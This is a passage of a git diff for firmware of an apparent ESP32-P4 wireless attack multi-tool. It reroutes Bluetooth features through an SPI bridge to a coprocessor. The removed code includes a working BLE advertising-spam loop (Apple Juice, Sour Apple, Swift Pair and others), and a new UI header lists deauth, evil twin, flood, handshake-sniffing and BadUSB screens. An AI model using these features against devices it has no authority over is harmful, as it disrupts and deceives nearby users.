resp_buf[SPI_MAX_PAYLOAD]; + + spi_bridge_send_command(SPI_ID_BT_SCREEN_DEINIT, + NULL, 0, + &resp_hdr, resp_buf, 2000); + if (compression_buffer) { heap_caps_free(compression_buffer); compression_buffer = NULL; @@ -95,7 +76,7 @@ void ble_screen_server_send_partial(const uint16_t *px_map, int x, int y, int w, compression_buffer[comp_idx++] = w & 0xFF; compression_buffer[comp_idx++] = (w >> 8) & 0xFF; compression_buffer[comp_idx++] = h & 0xFF; compression_buffer[comp_idx++] = (h >> 8) & 0xFF; - // RLE Compression of the partial map + // RLE Compression uint16_t current_pixel = px_map[0]; uint8_t run_count = 0; size_t total_pixels = w * h; @@ -114,7 +95,6 @@ void ble_screen_server_send_partial(const uint16_t *px_map, int x, int y, int w, run_count = 1; } - // Safety check to avoid overflow of compression_buffer (32KB) if (comp_idx > 32000) break; } @@ -124,21 +104,36 @@ void ble_screen_server_send_partial(const uint16_t *px_map, int x, int y, int w, compression_buffer[comp_idx++] = (current_pixel >> 8) & 0xFF; } + // Send compressed data in chunks via SPI size_t total_len = comp_idx; size_t sent = 0; + spi_header_t resp_hdr; + uint8_t resp_buf[SPI_MAX_PAYLOAD]; + while (sent < total_len) { size_t chunk_len = total_len - sent; if (chunk_len > MAX_CHUNK_SIZE) chunk_len = MAX_CHUNK_SIZE; - struct os_mbuf *om = ble_hs_mbuf_from_flat(compression_buffer + sent, chunk_len); - if (om) { - ble_gattc_notify_custom(0, screen_chr_val_handle, om); - } + spi_bridge_send_command(SPI_ID_BT_SCREEN_SEND_PARTIAL, + compression_buffer + sent, chunk_len, + &resp_hdr, resp_buf, 1000); + sent += chunk_len; } } bool ble_screen_server_is_active(void) { - return is_initialized; + spi_header_t resp_hdr; + uint8_t resp_buf[SPI_MAX_PAYLOAD]; + + esp_err_t ret = spi_bridge_send_command(SPI_ID_BT_SCREEN_IS_ACTIVE, + NULL, 0, + &resp_hdr, resp_buf, 2000); + + if (ret != ESP_OK || resp_buf[0] != SPI_STATUS_OK) { + return false; + } + + return resp_buf[1]; } diff --git a/firmware_p4/components/Applications/bluetooth/canned_spam.c b/firmware_p4/components/Applications/bluetooth/canned_spam.c index c6112167..da107d6e 100644 --- a/firmware_p4/components/Applications/bluetooth/canned_spam.c +++ b/firmware_p4/components/Applications/bluetooth/canned_spam.c @@ -23,16 +23,9 @@ */ #include "canned_spam.h" -#include "apple_juice_spam.h" -#include "sour_apple_spam.h" -#include "swift_pair_spam.h" -#include "samsung_spam.h" -#include "android_spam.h" -#include "tutti_frutti_spam.h" #include "bluetooth_service.h" -#include "host/ble_hs.h" -#include "host/ble_gap.h" -#include "host/ble_hs_id.h" +#include "spi_bridge.h" +#include "spi_protocol.h" #include "esp_log.h" #include @@ -59,75 +52,6 @@ static const SpamType category_info[] = { static bool spam_running = false; static int current_category = -1; -static TaskHandle_t spam_task_handle = NULL; - - -static void spam_task(void *pvParameters) { - ESP_LOGI(TAG, "Spam Task Started for category %d", current_category); - - struct ble_gap_adv_params adv_params; - memset(&adv_params, 0, sizeof(adv_params)); - adv_params.conn_mode = BLE_GAP_CONN_MODE_NON; - adv_params.disc_mode = BLE_GAP_DISC_MODE_GEN; - adv_params.itvl_min = 32; // 20ms - adv_params.itvl_max = 48; // 30ms - - uint8_t payload_buffer[32]; - - while (spam_running) { - int payload_len = 0; - - switch (current_category) { - case CAT_APPLE_JUICE: - payload_len = generate_apple_juice_payload(payload_buffer, sizeof(payload_buffer)); - break; - case CAT_SOUR_APPLE: - payload_len = generate_sour_apple_payload(payload_buffer, sizeof(payload_buffer)); - break; - case CAT_SWIFT_PAIR: - payload_len = generate_swift_pair_payload(payload_buffer, sizeof(payload_buffer)); - break; - case CAT_SAMSUNG: - payload_len = generate_samsung_payload(payload_buffer, sizeof(payload_buffer)); - break; - case CAT_ANDROID: - payload_len = generate_android_payload(payload_buffer, sizeof(payload_buffer)); - break; - case CAT_TUTTI_FRUTTI: - payload_len = generate_tutti_frutti_payload(payload_buffer, sizeof(payload_buffer)); - break; - default: - payload_len = 0; - break; - } - - if (payload_len <= 0) { - vTaskDelay(pdMS_TO_TICKS(10)); - continue; - } - - ble_addr_t rnd_addr; - ble_hs_id_gen_rnd(0, &rnd_addr); - ble_hs_id_set_rnd(rnd_addr.val); - - int rc = ble_gap_adv_set_data(payload_buffer, payload_len); - if (rc != 0) {} - - rc = ble_gap_adv_start(BLE_OWN_ADDR_RANDOM, NULL, BLE_HS_FOREVER, &adv_params, NULL, NULL); - - // wait loop delay - vTaskDelay(pdMS_TO_TICKS(150)); - - ble_gap_adv_stop(); - - vTaskDelay(pdMS_TO_TICKS(50)); - } - - spam_task_handle = NULL; - vTaskDelete(NULL); -} - - int spam_get_attack_count(void) { return CAT_COUNT; @@ -154,16 +78,22 @@ esp_err_t spam_start(int attack_index) { return ESP_ERR_NOT_FOUND; } - bluetooth_service_stop_advertising(); + uint8_t payload = (uint8_t)attack_index; + spi_header_t resp_hdr; + uint8_t resp_buf[SPI_MAX_PAYLOAD]; + + esp_err_t ret = spi_bridge_send_command(SPI_ID_BT_APP_SPAM, + &payload, sizeof(payload), + &resp_hdr, resp_buf, 5000); - // Garante potência máxima para o spam ir mais longe - bluetooth_service_set_max_power(); + if (ret != ESP_OK || resp_buf[0] != SPI_STATUS_OK) { + ESP_LOGE(TAG, "Failed to start spam on C5"); + return ESP_FAIL; + } current_category = attack_index; spam_running = true; - xTaskCreate(spam_task, "spam_task", 4096, NULL, 5, &spam_task_handle); - ESP_LOGI(TAG, "Spam started for category: %s", category_info[attack_index].name); return ESP_OK; } @@ -173,20 +103,18 @@ esp_err_t spam_stop(void) { return ESP_ERR_INVALID_STATE; } - spam_running = false; + spi_header_t resp_hdr; + uint8_t resp_buf[SPI_MAX_PAYLOAD]; - if (spam_task_handle != NULL) { - int retry = 10; - while (spam_task_handle != NULL && retry > 0) { - vTaskDelay(pdMS_TO_TICKS(50)); - retry--; - } - } + esp_err_t ret = spi_bridge_send_command(SPI_ID_BT_APP_STOP, + NULL, 0, + &resp_hdr, resp_buf, 2000); - if (ble_gap_adv_active()) { - ble_gap_adv_stop(); + if (ret != ESP_OK || resp_buf[0] != SPI_STATUS_OK) { + ESP_LOGW(TAG, "Failed to stop spam on C5"); } + spam_running = false; ESP_LOGI(TAG, "Spam stopped"); return ESP_OK; } diff --git a/firmware_p4/components/Applications/bluetooth/gatt_explorer.c b/firmware_p4/components/Applications/bluetooth/gatt_explorer.c index 8bcf4ba1..72e78b7b 100644 --- a/firmware_p4/components/Applications/bluetooth/gatt_explorer.c +++ b/firmware_p4/components/Applications/bluetooth/gatt_explorer.c @@ -12,200 +12,44 @@ // See the License for the specific language governing permissions and // limitations under the License. - #include "gatt_explorer.h" #include "bluetooth_service.h" -#include "uuid_lookup.h" +#include "spi_bridge.h" +#include "spi_protocol.h" #include "esp_log.h" -#include "host/ble_hs.h" -#include "host/ble_gatt.h" -#include "cJSON.h" -#include "storage_write.h" -#include "esp_heap_caps.h" -#include "freertos/FreeRTOS.h" -#include "freertos/task.h" -#include "freertos/semphr.h" #include static const char *TAG = "GATT_EXPLORER"; -typedef struct { - uint16_t start_handle; - uint16_t end_handle; - ble_uuid_any_t uuid; - char name[64]; -} discovered_svc_t; - -#define MAX_DISCOVERED_SVCS 16 -static discovered_svc_t svcs[MAX_DISCOVERED_SVCS]; -static int svc_count = 0; -static int current_svc_idx = 0; - -static cJSON *root_json = NULL; -static cJSON *svcs_json = NULL; -static uint16_t conn_handle = 0; static bool busy = false; -static TaskHandle_t explorer_task_handle = NULL; -static StackType_t *explorer_task_stack = NULL; -static StaticTask_t *explorer_task_tcb = NULL; -#define EXPLORER_STACK_SIZE 6144 - -static int explorer_on_disc_chr(uint16_t conn_handle, const struct ble_gatt_error *error, - const struct ble_gatt_chr *chr, void *arg); - -static void signal_save_and_exit(void) { - if (explorer_task_handle) { - xTaskNotify(explorer_task_handle, 1, eSetBits); - } -} - -static int explorer_on_disc_svc(uint16_t conn_h, const struct ble_gatt_error *error, - const struct ble_gatt_svc *svc, void *arg) { - if (error->status == BLE_HS_EDONE) { - if (svc_count > 0) { - current_svc_idx = 0; - ble_gattc_disc_all_chrs(conn_handle, svcs[current_svc_idx].start_handle, - svcs[current_svc_idx].end_handle, explorer_on_disc_chr, NULL); - } else { - signal_save_and_exit(); - } - return 0; - } - - if (error->status != 0) { - ESP_LOGE(TAG, "Service discovery error: %d", error->status); - signal_save_and_exit(); - return 0; - } - - if (svc_count < MAX_DISCOVERED_SVCS) { - svcs[svc_count].start_handle = svc->start_handle; - svcs[svc_count].end_handle = svc->end_handle; - memcpy(&svcs[svc_count].uuid, &svc->uuid, sizeof(ble_uuid_any_t)); - strncpy(svcs[svc_count].name, uuid_get_name(&svc->uuid.u), 63); - - cJSON *s = cJSON_CreateObject(); - char uuid_str[48]; - ble_uuid_to_str(&svc->uuid.u, uuid_str); - cJSON_AddStringToObject(s, "uuid", uuid_str); - cJSON_AddStringToObject(s, "name", svcs[svc_count].name); - cJSON_AddItemToArray(svcs_json, s); - cJSON_AddItemToObject(s, "characteristics", cJSON_CreateArray()); - - svc_count++; - } - return 0; -} - -static int explorer_on_disc_chr(uint16_t conn_h, const struct ble_gatt_error *error, - const struct ble_gatt_chr *chr, void *arg) { - if (error->status == BLE_HS_EDONE) { - current_svc_idx++; - if (current_svc_idx < svc_count) { - ble_gattc_disc_all_chrs(conn_handle, svcs[current_svc_idx].start_handle, - svcs[current_svc_idx].end_handle, explorer_on_disc_chr, NULL); - } else { - signal_save_and_exit(); - } - return 0; - } - - cJSON *s = cJSON_GetArrayItem(svcs_json, current_svc_idx); - cJSON *chrs = cJSON_GetObjectItem(s, "characteristics"); - cJSON *c = cJSON_CreateObject(); - char uuid_str[48]; - ble_uuid_to_str(&chr->uuid.u, uuid_str); - cJSON_AddStringToObject(c, "uuid", uuid_str); - cJSON_AddStringToObject(c, "name", uuid_get_name(&chr->uuid.u)); - cJSON_AddNumberToObject(c, "handle", chr->val_handle); - cJSON_AddNumberToObject(c, "properties", chr->properties); - cJSON_AddItemToArray(chrs, c); - - return 0; -} - -static int explorer_gap_event(struct ble_gap_event *event, void *arg) { - if (event->type == BLE_GAP_EVENT_CONNECT) { - if (event->connect.status == 0) { - conn_handle = event->connect.conn_handle; - ESP_LOGI(TAG, "Connected. Discovering services..."); - ble_gattc_disc_all_svcs(conn_handle, explorer_on_disc_svc, NULL); - } else { - ESP_LOGE(TAG, "Connection failed: %d", event->connect.status); - signal_save_and_exit(); - } - } else if (event->type == BLE_GAP_EVENT_DISCONNECT) { - ESP_LOGI(TAG, "Disconnected."); - // If disconnected unexpectedly, save what we have - signal_save_and_exit(); - } - return 0; -} - -static void explorer_task(void *pvParameters) { - uint32_t notification_value = 0; - - if (xTaskNotifyWait(0, 0, ¬ification_value, pdMS_TO_TICKS(60000)) == pdTRUE) { - if (notification_value & 1) { - if (root_json) { - ESP_LOGI(TAG, "Saving GATT results to storage..."); - char *json_str = cJSON_Print(root_json); - if (json_str) { - storage_write_string("/assets/storage/ble/gatt_results.json", json_str); - free(json_str); - } - cJSON_Delete(root_json); - root_json = NULL; - } - } - } else { - ESP_LOGE(TAG, "GATT Exploration Timed Out."); - if (root_json) { cJSON_Delete(root_json); root_json = NULL; } - } - - bluetooth_service_disconnect_all(); - - busy = false; - - // Cleanup task memory - if (explorer_task_stack) { heap_caps_free(explorer_task_stack); explorer_task_stack = NULL; } - if (explorer_task_tcb) { heap_caps_free(explorer_task_tcb); explorer_task_tcb = NULL; } - explorer_task_handle = NULL; - vTaskDelete(NULL); -} - bool gatt_explorer_start(const uint8_t *addr, uint8_t addr_type) { if (busy) return false; - busy = true; - svc_count = 0; - - root_json = cJSON_CreateObject(); - char addr_str[18]; - snprintf(addr_str, 18, "%02x:%02x:%02x:%02x:%02x:%02x", - addr[5], addr[4], addr[3], addr[2], addr[1], addr[0]); - cJSON_AddStringToObject(root_json, "target", addr_str); - svcs_json = cJSON_AddArrayToObject(root_json, "services"); - - explorer_task_stack = (StackType_t *)heap_caps_malloc(EXPLORER_STACK_SIZE * sizeof(StackType_t), MALLOC_CAP_SPIRAM); - explorer_task_tcb = (StaticTask_t *)heap_caps_malloc(sizeof(StaticTask_t), MALLOC_CAP_SPIRAM); - if (!explorer_task_stack || !explorer_task_tcb) { - ESP_LOGE(TAG, "Failed to allocate PSRAM for GATT Task"); - if (explorer_task_stack) heap_caps_free(explorer_task_stack); - if (explorer_task_tcb) heap_caps_free(explorer_task_tcb); - cJSON_Delete(root_json); - busy = false; + if (!bluetooth_service_is_running()) { + ESP_LOGE(TAG, "Bluetooth service not running"); return false; } - explorer_task_handle = xTaskCreateStatic(explorer_task, "gatt_task", EXPLORER_STACK_SIZE, NULL, 5, explorer_task_stack, explorer_task_tcb); + // Payload: addr[6] + addr_type[1] + uint8_t payload[7]; + memcpy(payload, addr, 6); + payload[6] = addr_type; - if (bluetooth_service_connect(addr, addr_type, explorer_gap_event) != ESP_OK) { - xTaskNotify(explorer_task_handle, 0, eNoAction); - signal_save_and_exit(); + spi_header_t resp_hdr; + uint8_t resp_buf[SPI_MAX_PAYLOAD]; + + esp_err_t ret = spi_bridge_send_command(SPI_ID_BT_APP_GATT_EXP, + payload, sizeof(payload), + &resp_hdr, resp_buf, 10000); + + if (ret != ESP_OK || resp_buf[0] != SPI_STATUS_OK) { + ESP_LOGE(TAG, "Failed to start GATT exploration on C5"); return false; } + + busy = true; + ESP_LOGI(TAG, "GATT exploration started on C5"); return true; } diff --git a/firmware_p4/components/Applications/bluetooth/include/uuid_lookup.h b/firmware_p4/components/Applications/bluetooth/include/uuid_lookup.h index b25097d3..57d350f6 100644 --- a/firmware_p4/components/Applications/bluetooth/include/uuid_lookup.h +++ b/firmware_p4/components/Applications/bluetooth/include/uuid_lookup.h @@ -17,8 +17,7 @@ #define UUID_LOOKUP_H #include -#include "host/ble_uuid.h" -const char* uuid_get_name(const ble_uuid_t *uuid); +const char* uuid_get_name_by_u16(uint16_t uuid16); #endif // UUID_LOOKUP_H diff --git a/firmware_p4/components/Applications/bluetooth/uuid_lookup.c b/firmware_p4/components/Applications/bluetooth/uuid_lookup.c index b3606925..758b6328 100644 --- a/firmware_p4/components/Applications/bluetooth/uuid_lookup.c +++ b/firmware_p4/components/Applications/bluetooth/uuid_lookup.c @@ -14,7 +14,6 @@ #include "uuid_lookup.h" -#include typedef struct { uint16_t uuid16; @@ -37,12 +36,9 @@ static const uuid_entry_t uuid_table[] = { {0x2A4D, "Report"}, }; -const char* uuid_get_name(const ble_uuid_t *uuid) { - if (uuid->type == BLE_UUID_TYPE_16) { - uint16_t u16 = BLE_UUID16(uuid)->value; - for (int i = 0; i < sizeof(uuid_table)/sizeof(uuid_entry_t); i++) { - if (uuid_table[i].uuid16 == u16) return uuid_table[i].name; - } +const char* uuid_get_name_by_u16(uint16_t uuid16) { + for (int i = 0; i < sizeof(uuid_table)/sizeof(uuid_entry_t); i++) { + if (uuid_table[i].uuid16 == uuid16) return uuid_table[i].name; } return "Unknown Service/Char"; } diff --git a/firmware_p4/components/Applications/espnow_chat/README.md b/firmware_p4/components/Applications/espnow_chat/README.md deleted file mode 100644 index 2af69383..00000000 --- a/firmware_p4/components/Applications/espnow_chat/README.md +++ /dev/null @@ -1,98 +0,0 @@ -# ESP-NOW Chat Application - -The **ESP-NOW Chat Application** is the high-level logic layer that bridges the raw `Service` capabilities with the User Interface (UI). It handles business logic, event notification, and data formatting for the display. - -## Overview - -This component sits between the **UI Manager** (LVGL) and the **ESP-NOW Service**. It ensures that the UI doesn't need to know about raw bytes, MAC addresses, or packet types, providing a clean API for "sending messages" and "listing users". - -## Features - -- **Event-Driven UI Updates**: Provides a callback mechanism so the UI only updates when necessary (new message, new device found). -- **System Notifications**: automatically injects system messages (e.g., "Secure Pair with User!") into the chat stream. -- **Simplified API**: Wraps complex service calls into single-line functions for the UI. -- **Data Abstraction**: Converts service-level structs into UI-friendly structs. - -## Integration Guide - -### 1. Initialization -In your `main.c` or `ui_manager.c`: - -```c -#include "espnow_chat.h" - -void app_main() { - // ... WiFi Init ... - - // Initialize the Chat App - espnow_chat_init(); - - // Register UI Callbacks - espnow_chat_register_msg_cb(my_ui_message_handler); - espnow_chat_register_refresh_cb(my_ui_device_list_refresh); -} -``` - -### 2. Handling Messages in UI -The UI should implement a callback to receive messages: - -```c -void my_ui_message_handler(const char *sender_nick, const char *message, bool is_system_msg) { - if (is_system_msg) { - // Render in yellow/red - ui_chat_add_bubble_system(message); - } else { - // Render in bubble - ui_chat_add_bubble(sender_nick, message); - } -} -``` - -### 3. Listing Devices -When the user opens the "Scan" tab, the UI calls: - -```c -espnow_chat_peer_t peers[10]; -int count = espnow_chat_get_peer_list(peers, 10); - -for(int i=0; i UI calls `espnow_chat_broadcast_discovery()`. - - Service sends HELLO. - - Other devices receive HELLO -> Service auto-adds to list -> App triggers `refresh_cb` -> UI updates list. - -2. **Chatting**: - - User taps a device -> UI enters Chat Screen. - - User types "Hi" -> UI calls `espnow_chat_send_message()`. - - Service encrypts & sends. - -3. **Secure Pairing**: - - User taps "Secure Pair" -> UI calls `espnow_chat_secure_pair()`. - - Service generates Key (if none) -> Sends `KEY_SHARE` packet. - - Target receives `KEY_SHARE` -> App triggers `msg_cb` ("Secure Pair with X!") -> Service saves key. - - Future messages are now secure. - diff --git a/firmware_p4/components/Applications/espnow_chat/espnow_chat.c b/firmware_p4/components/Applications/espnow_chat/espnow_chat.c deleted file mode 100644 index 3d02b885..00000000 --- a/firmware_p4/components/Applications/espnow_chat/espnow_chat.c +++ /dev/null @@ -1,144 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - - -#include "espnow_chat.h" -#include "service_esp_now.h" -#include "esp_log.h" -#include -#include - -static const char *TAG = "App_EspNowChat"; - -static espnow_chat_on_msg_cb_t s_ui_msg_cb = NULL; -static espnow_chat_on_device_list_cb_t s_ui_refresh_cb = NULL; - - -static void service_on_recv(const uint8_t *mac_addr, const service_esp_now_packet_t *data, int8_t rssi) { - if (data->type == ESP_NOW_MSG_TYPE_HELLO) { - ESP_LOGI(TAG, "Discovery: %s is online", data->nick); - if (s_ui_refresh_cb) { - s_ui_refresh_cb(); - } - } else if (data->type == ESP_NOW_MSG_TYPE_MSG) { - ESP_LOGI(TAG, "Msg from %s: %s", data->nick, data->text); - if (s_ui_msg_cb) { - s_ui_msg_cb(data->nick, data->text, false); - } - } else if (data->type == ESP_NOW_MSG_TYPE_KEY_SHARE) { - ESP_LOGI(TAG, "Secure pairing received from %s", data->nick); - if (s_ui_msg_cb) { - char notif[64]; - snprintf(notif, sizeof(notif), "Secure Pair with %s!", data->nick); - s_ui_msg_cb("System", notif, true); - } - if (s_ui_refresh_cb) { - s_ui_refresh_cb(); - } - } -} - -static void service_on_send(const uint8_t *mac_addr, esp_now_send_status_t status) { - if (status != ESP_NOW_SEND_SUCCESS) { - ESP_LOGW(TAG, "Message send failed"); - if (s_ui_msg_cb) { - s_ui_msg_cb("System", "Failed to send message", true); - } - } -} - - -esp_err_t espnow_chat_init(void) { - ESP_LOGI(TAG, "Initializing Chat Application"); - - esp_err_t ret = service_esp_now_init(); - if (ret != ESP_OK) return ret; - - service_esp_now_register_recv_cb(service_on_recv); - service_esp_now_register_send_cb(service_on_send); - - return ESP_OK; -} - -void espnow_chat_deinit(void) { - service_esp_now_deinit(); -} - -void espnow_chat_set_nick(const char *nick) { - service_esp_now_set_nick(nick); -} - -const char* espnow_chat_get_nick(void) { - return service_esp_now_get_nick(); -} - -void espnow_chat_set_online(bool online) { - service_esp_now_set_online(online); -} - -bool espnow_chat_is_online(void) { - return service_esp_now_is_online(); -} - -void espnow_chat_set_security_key(const char *key) { - service_esp_now_set_key(key); -} - -esp_err_t espnow_chat_send_message(const uint8_t *target_mac, const char *message) { - return service_esp_now_send_msg(target_mac, message); -} - -esp_err_t espnow_chat_broadcast_discovery(void) { - return service_esp_now_broadcast_hello(); -} - -esp_err_t espnow_chat_secure_pair(const uint8_t *target_mac) { - return service_esp_now_secure_pair(target_mac); -} - -void espnow_chat_register_msg_cb(espnow_chat_on_msg_cb_t cb) { - s_ui_msg_cb = cb; -} - -void espnow_chat_register_refresh_cb(espnow_chat_on_device_list_cb_t cb) { - s_ui_refresh_cb = cb; -} - -int espnow_chat_get_peer_list(espnow_chat_peer_t *peers, int max_count) { - // Adapter function: Converts service struct to app struct if needed - // Currently they are almost identical, but decoupled for architecture cleanliness. - - // We need to use a temporary buffer because the types are slightly different (C namespacing) - // or just cast if binary compatible. Let's do it safely. - - // Assuming service_esp_now_peer_info_t is available in service header. - // We need to include the full definition of service struct or redefine similar one. - // The service exposes `service_esp_now_peer_info_t`. - - service_esp_now_peer_info_t service_peers[32]; // Max internal limit - int count = service_esp_now_get_session_peers(service_peers, (max_count > 32) ? 32 : max_count); - - for (int i = 0; i < count; i++) { - memcpy(peers[i].mac, service_peers[i].mac, 6); - strncpy(peers[i].nick, service_peers[i].nick, 16); - peers[i].rssi = service_peers[i].rssi; - peers[i].is_saved = service_peers[i].is_permanent; - } - - return count; -} - -esp_err_t espnow_chat_save_peer(const uint8_t *mac, const char *name) { - return service_esp_now_save_peer_to_conf(mac, name); -} diff --git a/firmware_p4/components/Applications/espnow_chat/include/espnow_chat.h b/firmware_p4/components/Applications/espnow_chat/include/espnow_chat.h deleted file mode 100644 index 4ac4b4dc..00000000 --- a/firmware_p4/components/Applications/espnow_chat/include/espnow_chat.h +++ /dev/null @@ -1,52 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - - -#ifndef ESPNOW_CHAT_H -#define ESPNOW_CHAT_H - -#include "esp_err.h" -#include -#include - -typedef void (*espnow_chat_on_msg_cb_t)(const char *sender_nick, const char *message, bool is_system_msg); -typedef void (*espnow_chat_on_device_list_cb_t)(void); // Request UI to refresh device list - -esp_err_t espnow_chat_init(void); -void espnow_chat_deinit(void); - -void espnow_chat_set_nick(const char *nick); -const char* espnow_chat_get_nick(void); -void espnow_chat_set_online(bool online); -bool espnow_chat_is_online(void); -void espnow_chat_set_security_key(const char *key); - -esp_err_t espnow_chat_send_message(const uint8_t *target_mac, const char *message); -esp_err_t espnow_chat_broadcast_discovery(void); -esp_err_t espnow_chat_secure_pair(const uint8_t *target_mac); - -void espnow_chat_register_msg_cb(espnow_chat_on_msg_cb_t cb); -void espnow_chat_register_refresh_cb(espnow_chat_on_device_list_cb_t cb); - -typedef struct { - uint8_t mac[6]; - char nick[16]; // Copy from service def - int8_t rssi; - bool is_saved; -} espnow_chat_peer_t; - -int espnow_chat_get_peer_list(espnow_chat_peer_t *peers, int max_count); -esp_err_t espnow_chat_save_peer(const uint8_t *mac, const char *name); - -#endif // ESPNOW_CHAT_H diff --git a/firmware_p4/components/Applications/ui/include/ui_manager.h b/firmware_p4/components/Applications/ui/include/ui_manager.h new file mode 100644 index 00000000..11f6484c --- /dev/null +++ b/firmware_p4/components/Applications/ui/include/ui_manager.h @@ -0,0 +1,65 @@ +#ifndef UI_MANAGER_H +#define UI_MANAGER_H + +#include + +typedef enum { + SCREEN_NONE, + SCREEN_HOME, + SCREEN_MENU, + SCREEN_WIFI_MENU, + SCREEN_WIFI_ATTACK_MENU, + SCREEN_WIFI_DEAUTH_ATTACK, + SCREEN_WIFI_DEAUTH_UNICAST, + SCREEN_WIFI_BEACON_SPAM_SIMPLE, + SCREEN_WIFI_PROBE_FLOOD, + SCREEN_WIFI_PROBE_FLOOD_BROADCAST, + SCREEN_WIFI_PROBE_FLOOD_UNICAST, + SCREEN_WIFI_AUTH_FLOOD, + SCREEN_WIFI_PACKETS_MENU, + SCREEN_WIFI_SNIFFER_RAW, + SCREEN_WIFI_SNIFFER_ATTACK, + SCREEN_WIFI_SNIFFER_HANDSHAKE, + SCREEN_WIFI_SCAN_MENU, + SCREEN_WIFI_SCAN_AP, + SCREEN_WIFI_SCAN_STATIONS, + SCREEN_WIFI_SCAN_TARGET, + SCREEN_WIFI_SCAN_PROBE, + SCREEN_WIFI_SCAN_MONITOR, + SCREEN_WIFI_SCAN, + SCREEN_WIFI_AP_LIST, + SCREEN_WIFI_DEAUTH, + SCREEN_WIFI_EVIL_TWIN, + SCREEN_WIFI_BEACON_SPAM, + SCREEN_WIFI_PROBE, + SCREEN_BLE_MENU, + SCREEN_BLE_SPAM_SELECT, + SCREEN_BLE_SPAM, + SCREEN_BADUSB_MENU, + SCREEN_BADUSB_BROWSER, + SCREEN_BADUSB_LAYOUT, + SCREEN_BADUSB_CONNECT, + SCREEN_BADUSB_RUNNING, + SCREEN_SUBGHZ_SPECTRUM, + SCREEN_SETTINGS, + SCREEN_DISPLAY_SETTINGS, + SCREEN_INTERFACE_SETTINGS, + SCREEN_SOUND_SETTINGS, + SCREEN_BATTERY_SETTINGS, + SCREEN_CONNECTION_SETTINGS, + SCREEN_CONNECT_WIFI, + SCREEN_CONNECT_BLUETOOTH, + SCREEN_ABOUT_SETTINGS + // others screens +} screen_id_t; + +void ui_init(void); +void ui_hard_restart(void); + +bool ui_acquire(void); +void ui_release(void); +void ui_switch_screen(screen_id_t new_screen); + +#endif + + diff --git a/firmware_p4/components/Applications/ui/include/ui_theme.h b/firmware_p4/components/Applications/ui/include/ui_theme.h new file mode 100644 index 00000000..02795fb8 --- /dev/null +++ b/firmware_p4/components/Applications/ui/include/ui_theme.h @@ -0,0 +1,24 @@ +#ifndef UI_THEME_H +#define UI_THEME_H + +#include "lvgl.h" +#include + +typedef struct { + lv_color_t bg_primary; + lv_color_t bg_secondary; + lv_color_t bg_item_top; + lv_color_t bg_item_bot; + lv_color_t border_accent; + lv_color_t border_interface; + lv_color_t border_inactive; + lv_color_t text_main; + lv_color_t screen_base; +} ui_theme_t; + +extern ui_theme_t current_theme; + +void ui_theme_init(void); +void ui_theme_load_idx(int color_idx); + +#endif \ No newline at end of file diff --git a/firmware_p4/components/Applications/ui/screens/SubGhz/subghz_spectrum_ui.c b/firmware_p4/components/Applications/ui/screens/SubGhz/subghz_spectrum_ui.c index 3969e9b7..c57e39cb 100644 --- a/firmware_p4/components/Applications/ui/screens/SubGhz/subghz_spectrum_ui.c +++ b/firmware_p4/components/Applications/ui/screens/SubGhz/subghz_spectrum_ui.c @@ -15,34 +15,53 @@ static lv_obj_t * chart = NULL; static lv_chart_series_t * ser_rssi = NULL; static lv_timer_t * update_timer = NULL; static lv_obj_t * lbl_rssi_info = NULL; +static lv_obj_t * lbl_freq_info = NULL; +static int32_t s_chart_points[SPECTRUM_SAMPLES]; + +#define SPECTRUM_CENTER_FREQ 433920000 +#define SPECTRUM_SPAN_HZ 2000000 static void update_spectrum_cb(lv_timer_t * t) { if (!chart || !ser_rssi) return; - float max_dbm = -120.0; + subghz_spectrum_line_t line; + if (!subghz_spectrum_get_line(&line)) return; + + float max_dbm = -130.0; + uint32_t peak_freq = line.start_freq; + for (int i = 0; i < SPECTRUM_SAMPLES; i++) { - if (spectrum_data[i] > max_dbm) { - max_dbm = spectrum_data[i]; + int32_t val = (int32_t)(line.dbm_values[i] + 130); + if (val < 0) val = 0; + if (val > 100) val = 100; + s_chart_points[i] = val; + + if (line.dbm_values[i] > max_dbm) { + max_dbm = line.dbm_values[i]; + peak_freq = line.start_freq + (i * line.step_hz); } } - int32_t visual_val = (int32_t)(max_dbm + 115); - if (visual_val < 0) visual_val = 0; - if (visual_val > 100) visual_val = 100; - - lv_chart_set_next_value(chart, ser_rssi, visual_val); + lv_chart_set_ext_y_array(chart, ser_rssi, s_chart_points); + lv_chart_refresh(chart); - if(lbl_rssi_info) { + if (lbl_rssi_info) { char buf[32]; - snprintf(buf, sizeof(buf), "RSSI: %.1f dBm", max_dbm); + snprintf(buf, sizeof(buf), "Peak: %.1f dBm", max_dbm); lv_label_set_text(lbl_rssi_info, buf); - - if(max_dbm > -60) { - lv_obj_set_style_text_color(lbl_rssi_info, lv_color_hex(0xFFFF00), 0); // Amarelo + + if (max_dbm > -60) { + lv_obj_set_style_text_color(lbl_rssi_info, lv_color_hex(0xFFFF00), 0); } else { - lv_obj_set_style_text_color(lbl_rssi_info, lv_color_hex(0x00FF00), 0); // Verde + lv_obj_set_style_text_color(lbl_rssi_info, lv_color_hex(0x00FF00), 0); } } + + if (lbl_freq_info) { + char buf[32]; + snprintf(buf, sizeof(buf), "%.2f MHz", peak_freq / 1000000.0f); + lv_label_set_text(lbl_freq_info, buf); + } } static void spectrum_event_cb(lv_event_t * e) { @@ -50,29 +69,25 @@ static void spectrum_event_cb(lv_event_t * e) { if(code == LV_EVENT_KEY) { uint32_t key = lv_event_get_key(e); if(key == LV_KEY_ESC) { - // Stop UI Timer first to prevent access to freed objects if (update_timer) { lv_timer_del(update_timer); update_timer = NULL; } - - // Clear pointers + chart = NULL; ser_rssi = NULL; + lbl_rssi_info = NULL; + lbl_freq_info = NULL; - // Stop backend subghz_spectrum_stop(); - - // Return to previous menu or main menu. - // Assuming Main 